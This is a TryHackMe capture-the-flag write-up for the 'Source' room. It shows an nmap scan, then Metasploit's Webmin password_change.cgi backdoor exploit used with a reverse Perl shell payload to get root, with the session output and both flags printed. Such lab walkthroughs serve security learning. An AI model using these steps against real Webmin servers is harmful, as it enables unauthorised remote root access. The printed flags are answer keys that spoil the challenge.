> CTF Challenge Name : Source
> CTF Platform : ,TryHackMe,
> Author : Karun-A3E

Recon

Perform a nmap scan to find for open ports and services to exploit

```
root@ip-10-10-87-208:~# nmap -sC -sV 10.10.173.43 -T4 --min-rate=9400

Starting Nmap 7.60 ( https://nmap.org ) at 2023-10-27 05:24 BST
Nmap scan report for ip-10-10-173-43.eu-west-1.compute.internal (10.10.173.43)
Host is up (0.019s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 b7:4c:d0:bd:e2:7b:1b:15:72:27:64:56:29:15:ea:23 (RSA)
|   256 b7:85:23:11:4f:44:fa:22:00:8e:40:77:5e:cf:28:7c (ECDSA)
|_  256 a9:fe:4b:82:bf:89:34:59:36:5b:ec:da:c2:d3:95:ce (EdDSA)
10000/tcp open  http    MiniServ 1.890 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
MAC Address: 02:3B:4E:71:1D:1F (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.01 seconds
```

Gaining Access

To gain access and exploit, we can use msfconsole.

After browsing to the website, I found that the device is running webmin. After performing google search, there are some exploit available for it in msfconsole.

```
msf6 > search webmin

Matching Modules
================

   #  Name                                         Disclosure Date  Rank       Check  Description
   -  ----                                         ---------------  ----       -----  -----------
   0  exploit/unix/webapp/webmin_show_cgi_exec       2012-09-06       excellent  Yes    Webmin /file/show.cgi Remote Command Execution
   1  auxiliary/admin/webmin/file_disclosure         2006-06-30       normal     No     Webmin File Disclosure
   2  exploit/linux/http/webmin_file_manager_rce     2022-02-26       excellent  Yes    Webmin File Manager RCE
   3  exploit/linux/http/webmin_package_updates_rce  2022-07-26       excellent  Yes    Webmin Package Updates RCE
   4  exploit/linux/http/webmin_packageup_rce        2019-05-16       excellent  Yes    Webmin Package Updates Remote Command Execution
   5  exploit/unix/webapp/webmin_upload_exec         2019-01-17       excellent  Yes    Webmin Upload Authenticated RCE
   6  auxiliary/admin/webmin/edit_html_fileaccess    2012-09-06       normal     No     Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access
   7  exploit/linux/http/webmin_backdoor             2019-08-10       excellent  Yes    Webmin password_change.cgi Backdoor


Interact with a module by name or index. For example info 7, use 7 or use exploit/linux/http/webmin_backdoor

msf6 > use 7
[*] Using configured payload cmd/unix/reverse_perl
msf6 exploit(linux/http/webmin_backdoor) > options
```

```
set RHOSTS = <machineIP address> //this is the target machine
set LHOST = <machineIP address> //this is  the attack machine
set SSL true
```

After setting these modules value, we have created a session ;

```
[*] Started reverse TCP handler on 10.10.87.208:4444
[!] AutoCheck is disabled, proceeding with exploitation
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (10.10.87.208:4444 -> 10.10.173.43:47628) at 2023-10-27 05:30:31 +0100
```

Root User

After this we are a root user

```
2023-10-27 05:30:31 +0100

whoami
root
```

With this we can basically get both the user.txt and root.txt

```
find / -type f -name root.txt 2>/dev/null
/root/root.txt
cat /root/root.txt
THM{UPDATE_YOUR_INSTALL}
```

Root Flag : THM{UPDATE_YOUR_INSTALL}

```
find / -type f -name user.txt 2>/dev/null
/home/dark/user.txt
cat /home/dark/user.txt
THM{SUPPLY_CHAIN_COMPROMISE}
```

User Flag : THM{SUPPLY_CHAIN_COMPROMISE}